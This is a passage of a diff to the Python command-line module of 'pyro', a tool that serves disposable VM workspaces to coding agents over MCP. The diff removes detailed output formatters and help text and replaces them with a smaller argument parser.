payload.get("labels") - if isinstance(labels, dict) and labels: - rendered_labels = ", ".join( - f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) - ) - print(f"Labels: {rendered_labels}") - print(f"Environment: {str(payload.get('environment', 'unknown'))}") - print(f"State: {str(payload.get('state', 'unknown'))}") - print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") - last_activity_at = payload.get("last_activity_at") - if last_activity_at is not None: - print(f"Last activity at: {last_activity_at}") - print(f"Network policy: {str(payload.get('network_policy', 'off'))}") - workspace_seed = payload.get("workspace_seed") - if isinstance(workspace_seed, dict): - mode = str(workspace_seed.get("mode", "empty")) - seed_path = workspace_seed.get("seed_path") - origin_kind = workspace_seed.get("origin_kind") - origin_ref = workspace_seed.get("origin_ref") - if isinstance(origin_kind, str) and isinstance(origin_ref, str) and origin_ref != "": - if origin_kind == "project_path": - print(f"Workspace seed: {mode} from project {origin_ref}") - elif origin_kind == "repo_url": - print(f"Workspace seed: {mode} from clean clone {origin_ref}") - else: - print(f"Workspace seed: {mode} from {origin_ref}") - elif isinstance(seed_path, str) and seed_path != "": - print(f"Workspace seed: {mode} from {seed_path}") - else: - print(f"Workspace seed: {mode}") - secrets = payload.get("secrets") - if isinstance(secrets, list) and secrets: - secret_descriptions = [] - for secret in secrets: - if not isinstance(secret, dict): - continue - secret_descriptions.append( - f"{str(secret.get('name', 'unknown'))} " - f"({str(secret.get('source_kind', 'literal'))})" - ) - if secret_descriptions: - print("Secrets: " + ", ".join(secret_descriptions)) - print(f"Execution mode: {str(payload.get('execution_mode', 'pending'))}") - print( - f"Resources: {int(payload.get('vcpu_count', 0))} vCPU / " - f"{int(payload.get('mem_mib', 0))} MiB" - ) - print(f"Command count: {int(payload.get('command_count', 0))}") - print(f"Reset count: {int(payload.get('reset_count', 0))}") - last_reset_at = payload.get("last_reset_at") - if last_reset_at is not None: - print(f"Last reset at: {last_reset_at}") - print( - "Services: " - f"{int(payload.get('running_service_count', 0))}/" - f"{int(payload.get('service_count', 0))} running" - ) - last_command = payload.get("last_command") - if isinstance(last_command, dict): - print( - "Last command: " - f"{str(last_command.get('command', 'unknown'))} " - f"(exit_code={int(last_command.get('exit_code', -1))})" - ) - - -def _print_workspace_list_human(payload: dict[str, Any]) -> None: - workspaces = payload.get("workspaces") - if not isinstance(workspaces, list) or not workspaces: - print("No workspaces.") - return - for workspace in workspaces: - if not isinstance(workspace, dict): - continue - rendered_labels = "" - labels = workspace.get("labels") - if isinstance(labels, dict) and labels: - rendered_labels = " labels=" + ",".join( - f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) - ) - rendered_name = "" - name = workspace.get("name") - if isinstance(name, str) and name != "": - rendered_name = f" name={name!r}" - print( - "[workspace] " - f"workspace_id={str(workspace.get('workspace_id', 'unknown'))}" - f"{rendered_name} " - f"state={str(workspace.get('state', 'unknown'))} " - f"environment={str(workspace.get('environment', 'unknown'))}" - f"{rendered_labels} " - f"last_activity_at={workspace.get('last_activity_at')} " - f"expires_at={workspace.get('expires_at')} " - f"commands={int(workspace.get('command_count', 0))} " - f"services={int(workspace.get('running_service_count', 0))}/" - f"{int(workspace.get('service_count', 0))}" - ) - - -def _print_workspace_exec_human(payload: dict[str, Any]) -> None: - stdout = str(payload.get("stdout", "")) - stderr = str(payload.get("stderr", "")) - _write_stream(stdout, stream=sys.stdout) - _write_stream(stderr, stream=sys.stderr) - print( - "[workspace-exec] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"sequence={int(payload.get('sequence', 0))} " - f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))} " - f"exit_code={int(payload.get('exit_code', 1))} " - f"duration_ms={int(payload.get('duration_ms', 0))}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_sync_human(payload: dict[str, Any]) -> None: - workspace_sync = payload.get("workspace_sync") - if not isinstance(workspace_sync, dict): - print(f"Synced workspace: {str(payload.get('workspace_id', 'unknown'))}") - return - print( - "[workspace-sync] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"mode={str(workspace_sync.get('mode', 'unknown'))} " - f"source={str(workspace_sync.get('source_path', 'unknown'))} " - f"destination={str(workspace_sync.get('destination', WORKSPACE_GUEST_PATH))} " - f"entry_count={int(workspace_sync.get('entry_count', 0))} " - f"bytes_written={int(workspace_sync.get('bytes_written', 0))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - ) - - -def _print_workspace_export_human(payload: dict[str, Any]) -> None: - print( - "[workspace-export] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"workspace_path={str(payload.get('workspace_path', WORKSPACE_GUEST_PATH))} " - f"output_path={str(payload.get('output_path', 'unknown'))} " - f"artifact_type={str(payload.get('artifact_type', 'unknown'))} " - f"entry_count={int(payload.get('entry_count', 0))} " - f"bytes_written={int(payload.get('bytes_written', 0))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - ) - - -def _print_workspace_disk_export_human(payload: dict[str, Any]) -> None: - print( - "[workspace-disk-export] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"output_path={str(payload.get('output_path', 'unknown'))} " - f"disk_format={str(payload.get('disk_format', 'unknown'))} " - f"bytes_written={int(payload.get('bytes_written', 0))}" - ) - - -def _print_workspace_disk_list_human(payload: dict[str, Any]) -> None: - print( - f"Workspace disk path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " - f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" - ) - entries = payload.get("entries") - if not isinstance(entries, list) or not entries: - print("No workspace disk entries found.") - return - for entry in entries: - if not isinstance(entry, dict): - continue - line = ( - f"{str(entry.get('path', 'unknown'))} " - f"[{str(entry.get('artifact_type', 'unknown'))}] " - f"size={int(entry.get('size_bytes', 0))}" - ) - link_target = entry.get("link_target") - if isinstance(link_target, str) and link_target != "": - line += f" -> {link_target}" - print(line) - - -def _print_workspace_disk_read_human( - payload: dict[str, Any], *, content_only: bool = False -) -> None: - _print_read_content(str(payload.get("content", "")), content_only=content_only) - if content_only: - return - print( - "[workspace-disk-read] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"path={str(payload.get('path', 'unknown'))} " - f"size_bytes={int(payload.get('size_bytes', 0))} " - f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_diff_human(payload: dict[str, Any]) -> None: - if not bool(payload.get("changed")): - print("No workspace changes.") - return - summary = payload.get("summary") - if isinstance(summary, dict): - print( - "[workspace-diff] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"total={int(summary.get('total', 0))} " - f"added={int(summary.get('added', 0))} " - f"modified={int(summary.get('modified', 0))} " - f"deleted={int(summary.get('deleted', 0))} " - f"type_changed={int(summary.get('type_changed', 0))} " - f"text_patched={int(summary.get('text_patched', 0))} " - f"non_text={int(summary.get('non_text', 0))}" - ) - patch = str(payload.get("patch", "")) - if patch != "": - print(patch, end="" if patch.endswith("\n") else "\n") - - -def _print_workspace_file_list_human(payload: dict[str, Any]) -> None: - print( - f"Workspace path: {str(payload.get('path', WORKSPACE_GUEST_PATH))} " - f"(recursive={'yes' if bool(payload.get('recursive')) else 'no'})" - ) - entries = payload.get("entries") - if not isinstance(entries, list) or not entries: - print("No workspace entries found.") - return - for entry in entries: - if not isinstance(entry, dict): - continue - line = ( - f"{str(entry.get('path', 'unknown'))} " - f"[{str(entry.get('artifact_type', 'unknown'))}] " - f"size={int(entry.get('size_bytes', 0))}" - ) - link_target = entry.get("link_target") - if isinstance(link_target, str) and link_target != "": - line += f" -> {link_target}" - print(line) - - -def _print_workspace_file_read_human( - payload: dict[str, Any], *, content_only: bool = False -) -> None: - _print_read_content(str(payload.get("content", "")), content_only=content_only) - if content_only: - return - print( - "[workspace-file-read] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"path={str(payload.get('path', 'unknown'))} " - f"size_bytes={int(payload.get('size_bytes', 0))} " - f"truncated={'yes' if bool(payload.get('truncated', False)) else 'no'}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_file_write_human(payload: dict[str, Any]) -> None: - print( - "[workspace-file-write] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"path={str(payload.get('path', 'unknown'))} " - f"bytes_written={int(payload.get('bytes_written', 0))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - ) - - -def _print_workspace_patch_human(payload: dict[str, Any]) -> None: - summary = payload.get("summary") - if isinstance(summary, dict): - print( - "[workspace-patch] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"total={int(summary.get('total', 0))} " - f"added={int(summary.get('added', 0))} " - f"modified={int(summary.get('modified', 0))} " - f"deleted={int(summary.get('deleted', 0))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - ) - return - print( - "[workspace-patch] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - ) - - -def _print_workspace_logs_human(payload: dict[str, Any]) -> None: - entries = payload.get("entries") - if not isinstance(entries, list) or not entries: - print("No workspace logs found.") - return - for entry in entries: - if not isinstance(entry, dict): - continue - print( - f"#{int(entry.get('sequence', 0))} " - f"exit_code={int(entry.get('exit_code', -1))} " - f"duration_ms={int(entry.get('duration_ms', 0))} " - f"cwd={str(entry.get('cwd', WORKSPACE_GUEST_PATH))}" - ) - print(f"$ {str(entry.get('command', ''))}") - stdout = str(entry.get("stdout", "")) - stderr = str(entry.get("stderr", "")) - if stdout != "": - print(stdout, end="" if stdout.endswith("\n") else "\n") - if stderr != "": - print(stderr, end="" if stderr.endswith("\n") else "\n", file=sys.stderr) - - -def _print_workspace_review_summary_human(payload: dict[str, Any]) -> None: - print(f"Workspace review: {str(payload.get('workspace_id', 'unknown'))}") - name = payload.get("name") - if isinstance(name, str) and name != "": - print(f"Name: {name}") - labels = payload.get("labels") - if isinstance(labels, dict) and labels: - rendered_labels = ", ".join( - f"{str(key)}={str(value)}" for key, value in sorted(labels.items()) - ) - print(f"Labels: {rendered_labels}") - print(f"Environment: {str(payload.get('environment', 'unknown'))}") - print(f"State: {str(payload.get('state', 'unknown'))}") - print(f"Last activity at: {payload.get('last_activity_at')}") - print(f"Session started at: {payload.get('session_started_at')}") - - outcome = payload.get("outcome") - if isinstance(outcome, dict): - print( - "Outcome: " - f"commands={int(outcome.get('command_count', 0))} " - f"services={int(outcome.get('running_service_count', 0))}/" - f"{int(outcome.get('service_count', 0))} " - f"exports={int(outcome.get('export_count', 0))} " - f"snapshots={int(outcome.get('snapshot_count', 0))} " - f"resets={int(outcome.get('reset_count', 0))}" - ) - last_command = outcome.get("last_command") - if isinstance(last_command, dict): - print( - "Last command: " - f"{str(last_command.get('command', 'unknown'))} " - f"(exit_code={int(last_command.get('exit_code', -1))})" - ) - - def _print_events(title: str, events: object, *, formatter: Any) -> None: - if not isinstance(events, list) or not events: - return - print(f"{title}:") - for event in events: - if not isinstance(event, dict): - continue - print(f"- {formatter(event)}") - - commands = payload.get("commands") - if isinstance(commands, dict): - _print_events( - "Recent commands", - commands.get("recent"), - formatter=lambda event: ( - f"#{int(event.get('sequence', 0))} " - f"exit={int(event.get('exit_code', -1))} " - f"cwd={str(event.get('cwd', WORKSPACE_GUEST_PATH))} " - f"cmd={str(event.get('command', ''))}" - ), - ) - - edits = payload.get("edits") - if isinstance(edits, dict): - _print_events( - "Recent edits", - edits.get("recent"), - formatter=lambda event: ( - f"{str(event.get('event_kind', 'edit'))} " - f"at={event.get('recorded_at')} " - f"path={event.get('path') or event.get('destination') or 'n/a'}" - ), - ) - - changes = payload.get("changes") - if isinstance(changes, dict): - if not bool(changes.get("available")): - print(f"Changes: unavailable ({str(changes.get('reason', 'unknown reason'))})") - elif not bool(changes.get("changed")): - print("Changes: no current workspace changes.") - else: - summary = changes.get("summary") - if isinstance(summary, dict): - print( - "Changes: " - f"total={int(summary.get('total', 0))} " - f"added={int(summary.get('added', 0))} " - f"modified={int(summary.get('modified', 0))} " - f"deleted={int(summary.get('deleted', 0))} " - f"type_changed={int(summary.get('type_changed', 0))} " - f"non_text={int(summary.get('non_text', 0))}" - ) - _print_events( - "Top changed paths", - changes.get("entries"), - formatter=lambda event: ( - f"{str(event.get('status', 'changed'))} " - f"{str(event.get('path', 'unknown'))} " - f"[{str(event.get('artifact_type', 'unknown'))}]" - ), - ) - - services = payload.get("services") - if isinstance(services, dict): - _print_events( - "Current services", - services.get("current"), - formatter=lambda event: ( - f"{str(event.get('service_name', 'unknown'))} " - f"state={str(event.get('state', 'unknown'))}" - ), - ) - _print_events( - "Recent service events", - services.get("recent"), - formatter=lambda event: ( - f"{str(event.get('event_kind', 'service'))} " - f"{str(event.get('service_name', 'unknown'))} " - f"state={str(event.get('state', 'unknown'))}" - ), - ) - - artifacts = payload.get("artifacts") - if isinstance(artifacts, dict): - _print_events( - "Recent exports", - artifacts.get("exports"), - formatter=lambda event: ( - f"{str(event.get('workspace_path', 'unknown'))} -> " - f"{str(event.get('output_path', 'unknown'))}" - ), - ) - - snapshots = payload.get("snapshots") - if isinstance(snapshots, dict): - print(f"Named snapshots: {int(snapshots.get('named_count', 0))}") - _print_events( - "Recent snapshot events", - snapshots.get("recent"), - formatter=lambda event: ( - f"{str(event.get('event_kind', 'snapshot'))} " - f"{str(event.get('snapshot_name', 'unknown'))}" - ), - ) - - -def _print_workspace_snapshot_human(payload: dict[str, Any], *, prefix: str) -> None: - snapshot = payload.get("snapshot") - if not isinstance(snapshot, dict): - print(f"[{prefix}] workspace_id={str(payload.get('workspace_id', 'unknown'))}") - return - print( - f"[{prefix}] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"snapshot_name={str(snapshot.get('snapshot_name', 'unknown'))} " - f"kind={str(snapshot.get('kind', 'unknown'))} " - f"entry_count={int(snapshot.get('entry_count', 0))} " - f"bytes_written={int(snapshot.get('bytes_written', 0))}" - ) - - -def _print_workspace_snapshot_list_human(payload: dict[str, Any]) -> None: - snapshots = payload.get("snapshots") - if not isinstance(snapshots, list) or not snapshots: - print("No workspace snapshots found.") - return - for snapshot in snapshots: - if not isinstance(snapshot, dict): - continue - print( - f"{str(snapshot.get('snapshot_name', 'unknown'))} " - f"[{str(snapshot.get('kind', 'unknown'))}] " - f"entry_count={int(snapshot.get('entry_count', 0))} " - f"bytes_written={int(snapshot.get('bytes_written', 0))} " - f"deletable={'yes' if bool(snapshot.get('deletable', False)) else 'no'}" - ) - - -def _print_workspace_reset_human(payload: dict[str, Any]) -> None: - _print_workspace_summary_human(payload, action="Reset workspace") - workspace_reset = payload.get("workspace_reset") - if isinstance(workspace_reset, dict): - print( - "Reset source: " - f"{str(workspace_reset.get('snapshot_name', 'unknown'))} " - f"({str(workspace_reset.get('kind', 'unknown'))})" - ) - print( - "Reset restore: " - f"destination={str(workspace_reset.get('destination', WORKSPACE_GUEST_PATH))} " - f"entry_count={int(workspace_reset.get('entry_count', 0))} " - f"bytes_written={int(workspace_reset.get('bytes_written', 0))}" - ) - - -def _print_workspace_shell_summary_human(payload: dict[str, Any], *, prefix: str) -> None: - print( - f"[{prefix}] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"shell_id={str(payload.get('shell_id', 'unknown'))} " - f"state={str(payload.get('state', 'unknown'))} " - f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " - f"cols={int(payload.get('cols', 0))} " - f"rows={int(payload.get('rows', 0))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: - _write_stream(str(payload.get("output", "")), stream=sys.stdout) - print( - "[workspace-shell-read] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"shell_id={str(payload.get('shell_id', 'unknown'))} " - f"state={str(payload.get('state', 'unknown'))} " - f"cursor={int(payload.get('cursor', 0))} " - f"next_cursor={int(payload.get('next_cursor', 0))} " - f"truncated={bool(payload.get('truncated', False))} " - f"plain={bool(payload.get('plain', False))} " - f"wait_for_idle_ms={payload.get('wait_for_idle_ms')} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_service_summary_human(payload: dict[str, Any], *, prefix: str) -> None: - published_ports = payload.get("published_ports") - published_text = "" - if isinstance(published_ports, list) and published_ports: - parts = [] - for item in published_ports: - if not isinstance(item, dict): - continue - parts.append( - f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" - f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" - ) - if parts: - published_text = " published_ports=" + ",".join(parts) - print( - f"[{prefix}] " - f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " - f"service_name={str(payload.get('service_name', 'unknown'))} " - f"state={str(payload.get('state', 'unknown'))} " - f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" - f"{published_text}", - file=sys.stderr, - flush=True, - ) - - -def _print_workspace_service_list_human(payload: dict[str, Any]) -> None: - services = payload.get("services") - if not isinstance(services, list) or not services: - print("No workspace services found.") - return - for service in services: - if not isinstance(service, dict): - continue - print( - f"{str(service.get('service_name', 'unknown'))} " - f"[{str(service.get('state', 'unknown'))}] " - f"cwd={str(service.get('cwd', WORKSPACE_GUEST_PATH))}" - + ( - " published=" - + ",".join( - f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" - f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" - for item in service.get("published_ports", []) - if isinstance(item, dict) - ) - if isinstance(service.get("published_ports"), list) - and service.get("published_ports") - else "" - ) - ) - - -def _print_workspace_service_logs_human(payload: dict[str, Any]) -> None: - stdout = str(payload.get("stdout", "")) - stderr = str(payload.get("stderr", "")) - _write_stream(stdout, stream=sys.stdout) - _write_stream(stderr, stream=sys.stderr) - _print_workspace_service_summary_human(payload, prefix="workspace-service-logs") - - -class _HelpFormatter( - argparse.RawDescriptionHelpFormatter, - argparse.ArgumentDefaultsHelpFormatter, -): - """Help formatter with examples and default values.""" - - def _get_help_string(self, action: argparse.Action) -> str: - if action.default is None and action.help is not None: - return action.help - help_string = super()._get_help_string(action) - if help_string is None: - return "" - return help_string - - -def _add_host_server_source_args(parser: argparse.ArgumentParser) -> None: - parser.add_argument( - "--installed-package", - action="store_true", - help="Use `pyro mcp serve` instead of the default `uvx --from pyro-mcp pyro mcp serve`.", - ) - profile_group = parser.add_mutually_exclusive_group() - profile_group.add_argument( - "--profile", - choices=PUBLIC_MCP_PROFILES, - default="workspace-core", - help="Explicit profile for the host helper flow when not using a named mode.", - ) - profile_group.add_argument( - "--mode", - choices=PUBLIC_MCP_MODES, - help="Opinionated use-case mode for the host helper flow.", - ) - source_group = parser.add_mutually_exclusive_group() - source_group.add_argument( - "--project-path", - help="Pin the server to this local project path instead of relying on host cwd.", - ) - source_group.add_argument( - "--repo-url", - help="Seed default workspaces from a clean clone of this repository URL.", - ) - source_group.add_argument( - "--no-project-source", - action="store_true", - help="Disable automatic Git checkout detection from the current working directory.", - ) - parser.add_argument( - "--repo-ref", - help="Optional branch, tag, or commit to checkout after cloning --repo-url.", - ) - - def _build_parser() -> argparse.ArgumentParser: parser = argparse.ArgumentParser( - description=( - "Validate the host and serve disposable MCP workspaces for chat-based " - "coding agents on supported Linux x86_64 KVM hosts." - ), - epilog=dedent( - """ - Suggested zero-to-hero path: - pyro doctor - pyro prepare debian:12 - pyro run debian:12 -- git --version - pyro host connect claude-code - - Connect a chat host after that: - pyro host connect claude-code - pyro host connect codex - pyro host print-config opencode - - Daily local loop after the first warmup: - pyro doctor --environment debian:12 - pyro prepare debian:12 - pyro workspace reset WORKSPACE_ID - - If you want terminal-level visibility into the workspace model: - pyro workspace create debian:12 --seed-path ./repo --id-only - pyro workspace sync push WORKSPACE_ID ./changes - pyro workspace exec WORKSPACE_ID -- cat note.txt - pyro workspace summary WORKSPACE_ID - pyro workspace diff WORKSPACE_ID - pyro workspace snapshot create WORKSPACE_ID checkpoint - pyro workspace reset WORKSPACE_ID --snapshot checkpoint - pyro workspace shell open WORKSPACE_ID --id-only - pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ - sh -lc 'touch .ready && while true; do sleep 60; done' - pyro workspace export WORKSPACE_ID note.txt --output ./note.txt - """ - ), - formatter_class=_HelpFormatter, + description="pyro CLI for curated ephemeral Linux environments." ) parser.add_argument("--version", action="version", version=f"%(prog)s {__version__}") - subparsers = parser.add_subparsers(dest="command", required=True, metavar="COMMAND") + subparsers = parser.add_subparsers(dest="command", required=True) - prepare_parser = subparsers.add_parser( - "prepare", - help="Warm the local machine for the daily workspace loop.", - description=( - "Warm the recommended guest-backed daily loop by ensuring the " - "environment is installed and proving create, exec, reset, and " - "delete on one throwaway workspace." - ), - epilog=dedent( - f""" - Examples: - pyro prepare - pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} - pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} --network - pyro prepare {DEFAULT_PREPARE_ENVIRONMENT} --force - """ - ), - formatter_class=_HelpFormatter, - ) - prepare_parser.add_argument( - "environment", - nargs="?", - default=DEFAULT_PREPARE_ENVIRONMENT, - metavar="ENVIRONMENT", - help=( - "Curated environment to warm for the daily loop. Defaults to " - f"`{DEFAULT_PREPARE_ENVIRONMENT}`." - ), - ) - prepare_parser.add_argument( - "--network", - action="store_true", - help="Also warm guest networking by proving one egress-enabled workspace cycle.", - ) - prepare_parser.add_argument( - "--force", - action="store_true", - help="Rerun warmup even when a compatible warm manifest already exists.", - ) - prepare_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - - env_parser = subparsers.add_parser( - "env", - help="Inspect and manage curated environments.", - description="Inspect, install, and prune curated Linux environments.", - epilog=dedent( - """ - Examples: - pyro env list - pyro env pull debian:12 - pyro env inspect debian:12 - """ - ), - formatter_class=_HelpFormatter, - ) - env_subparsers = env_parser.add_subparsers(dest="env_command", required=True, metavar="ENV") - list_parser = env_subparsers.add_parser( - "list", - help="List official environments.", - description="List the shipped environment catalog and show local install status.", - epilog="Example:\n pyro env list", - formatter_class=_HelpFormatter, - ) - list_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) + env_parser = subparsers.add_parser("env", help="Inspect and manage curated environments.") + env_subparsers = env_parser.add_subparsers(dest="env_command", required=True) + env_subparsers.add_parser("list", help="List official environments.") pull_parser = env_subparsers.add_parser( "pull", help="Install an environment into the local cache.", - description=( - "Download and install one official environment into the local cache from " - "the configured OCI registry." - ), - epilog=dedent( - """ - Example: - pyro env pull debian:12 + ) + pull_parser.add_argument("environment") + inspect_parser = env_subparsers.add_parser("inspect", help="Inspect one environment.") + inspect_parser.add_argument("environment") + env_subparsers.add_parser("prune", help="Delete stale cached environments.") - The first pull downloads from public Docker Hub, requires outbound HTTPS, - and needs local cache space for the guest image. - """ - ), - formatter_class=_HelpFormatter, - ) - pull_parser.add_argument( - "environment", - metavar="ENVIRONMENT", - help="Environment name from `pyro env list`, for example `debian:12`.", - ) - pull_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - inspect_parser = env_subparsers.add_parser( - "inspect", - help="Inspect one environment.", - description="Show catalog and local cache details for one environment.", - epilog="Example:\n pyro env inspect debian:12", - formatter_class=_HelpFormatter, - ) - inspect_parser.add_argument( - "environment", - metavar="ENVIRONMENT", - help="Environment name from `pyro env list`, for example `debian:12`.", - ) - inspect_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) - prune_parser = env_subparsers.add_parser( - "prune", - help="Delete stale cached environments.", - description="Remove cached environment installs that are no longer referenced.", - epilog="Example:\n pyro env prune", - formatter_class=_HelpFormatter, - ) - prune_parser.add_argument( - "--json", - action="store_true", - help="Print structured JSON instead of human-readable output.", - ) + mcp_parser = subparsers.add_parser("mcp", help="Run the MCP server.") + mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True) + mcp_subparsers.add_parser("serve", help="Run the MCP server over stdio.") - host_parser = subparsers.add_parser( - "host", - help="Bootstrap and repair supported chat-host configs.", - description=( - "Connect or repair the supported Claude Code, Codex, and OpenCode " - "host setups without hand-writing MCP commands or config." - ), - epilog=dedent( - """ - Examples: - pyro host connect claude-code - pyro host connect claude-code --mode cold-start - pyro host connect codex --project-path /abs/path/to/repo - pyro host print-config opencode - pyro host repair opencode - pyro host doctor - """ - ), - formatter_class=_HelpFormatter, - ) - host_subparsers = host_parser.add_subparsers(dest="host_command", required=True, metavar="HOST") - host_connect_parser = host_subparsers.add_parser( - "connect", - help="Connect Claude Code or Codex in one step.", - description=( - "Ensure the supported host has a `pyro` MCP server entry that wraps " - "the canonical `pyro mcp serve` command." - ), - epilog=dedent( - """ - Examples: - pyro host connect claude-code - pyro host connect claude-code --mode cold-start - pyro host connect codex --installed-package - pyro host connect codex --mode repro-fix - pyro host connect codex --project-path /abs/path/to/repo - """ - ), - formatter_class=_HelpFormatter, - ) - host_connect_parser.add_argument( - "host", - choices=("claude-code", "codex"), - help="Chat host to connect and update in place.", - ) - _add_host_server_source_args(host_connect_parser) + run_parser = subparsers.add_parser("run", help="Run one command inside an ephemeral VM.") + run_parser.add_argument("environment") + run_parser.add_argument("--vcpu-count", type=int, required=True) + run_parser.add_argument("--mem-mib", type=int, required=True) + run_parser.add_argument("--timeout-seconds", type=int, default=30) + run_parser.add_argument("--ttl-seconds", type=int, default=600) + run_parser.add_argument("--network", action="store_true") + run_parser.add_argument("command_args", nargs="*") - host_print_config_parser = host_subparsers.add_parser( - "print-config", - help="Print or write the canonical OpenCode config snippet.", - description=( - "Render the canonical OpenCode `mcp.pyro` config entry so it can be " - "copied into or written to `opencode.json`." - ), - epilog=dedent( - """ - Examples: - pyro host print-config opencode - pyro host print-config opencode --mode repro-fix - pyro host print-config opencode --output ./opencode.json - pyro host print-config opencode --project-path /abs/path/to/repo - """ - ), - formatter_class=_HelpFormatter, - ) - host_print_config_parser.add_argument( - "host", - choices=("opencode",), - help="Host config shape to render.", - ) - _add_host_server_source_args(host_print_config_parser) - host_print_config_parser.add_argument( - "--output", - help="Write the rendered JSON to this path instead of printing it to stdout.", - ) + doctor_parser = subparsers.add_parser("doctor", help="Inspect runtime and host diagnostics.") + doctor_parser.add_argument("--platform", default=DEFAULT_PLATFORM) - host_doctor_parser = host_subparsers.add_parser( - "doctor", - help="Inspect supported host setup status.", - description=( - "Report whether Claude Code, Codex, and OpenCode are installed, " - "configured, missing, or drifted relative to the canonical `pyro` MCP setup." - ), - epilog=dedent( - """ - Examples: - pyro host doctor - pyro host doctor --mode inspect - pyro host doctor --project-path /abs/path/to/repo - pyro host doctor --installed-package - """ - ), - formatter_class=_HelpFormatter, - ) - _add_host_server_source_args(host_doctor_parser) - host_doctor_parser.add_argument( - "--config-path", - help="Override the OpenCode config path when inspecting or repairing that host.", - ) - - host_repair_parser = host_subparsers.add_parser( - "repair", - help="Repair one supported host to the canonical `pyro` setup.", - description=( - "Repair a stale or broken host config by reapplying the canonical " - "`pyro mcp serve` setup for that host." - ), - epilog=dedent( - """ - Examples: - pyro host repair claude-code - pyro host repair claude-code --mode review-eval - pyro host repair codex --project-path /abs/path/to/repo - pyro host repair opencode - """ - ), - formatter_class=_HelpFormatter, - ) - host_repair_parser.add_argument( - "host", - choices=("claude-code", "codex", "opencode"), - help="Host config to repair.", - ) - _add_host_server_source_args(host_repair_parser) - host_repair_parser.add_argument( - "--config-path", - help="Override the OpenCode config path when repairing that host.", - ) - - mcp_parser = subparsers.add_parser( - "mcp", - help="Run the MCP server.", - description=( - "Run the MCP server after you have already validated the host and " - "guest execution with `pyro doctor` and `pyro run`. This is the " - "main product path for Claude Code, Codex, and OpenCode." - ), - epilog=dedent( - """ - Examples: - pyro mcp serve - pyro mcp serve --mode repro-fix - pyro mcp serve --mode inspect - pyro mcp serve --project-path . - pyro mcp serve --repo-url https://github.com/example/project.git - pyro mcp serve --profile vm-run - pyro mcp serve --profile workspace-full - """ - ), - formatter_class=_HelpFormatter, - ) - mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True, metavar="MCP") - mcp_serve_parser = mcp_subparsers.add_parser( - "serve", - help="Run the MCP server over stdio.", - description=( - "Expose pyro tools over stdio for an MCP client. Bare `pyro mcp " - "serve` starts the generic `workspace-core` path. Use `--mode` to " - "start from an opinionated use-case flow, or `--profile` to choose " - "a generic profile directly. When launched from inside a Git " - "checkout, it also seeds the first workspace from that repo by default." - ), - epilog=dedent( - """ - Generic default path: - pyro mcp serve - pyro mcp serve --project-path . - pyro mcp serve --repo-url https://github.com/example/project.git - - Named modes: - repro-fix: structured edit / diff / export / reset loop - inspect: smallest persistent inspection surface - cold-start: validation plus service readiness - review-eval: shell plus snapshots for review workflows - - Profiles: - workspace-core: default for normal persistent chat editing and the - recommended first profile for most chat hosts - vm-run: smallest one-shot-only surface - workspace-full: larger opt-in surface for shells, services, - snapshots, secrets, network policy, and disk tools - - Project-aware startup: - - bare `pyro mcp serve` auto-detects the nearest Git checkout - from the current working directory - - use --project-path when the host does not preserve cwd - - use --repo-url for a clean-clone source outside a local checkout - - Use --mode when one named use case already matches the job. Fall - back to the generic no-mode path when the mode feels too narrow. - """ - ), - formatter_class=_HelpFormatter, - ) - mcp_profile_group = mcp_serve_parser.add_mutually_exclusive_group() - mcp_profile_group.add_argument( - "--profile", - choices=PUBLIC_MCP_PROFILES, - 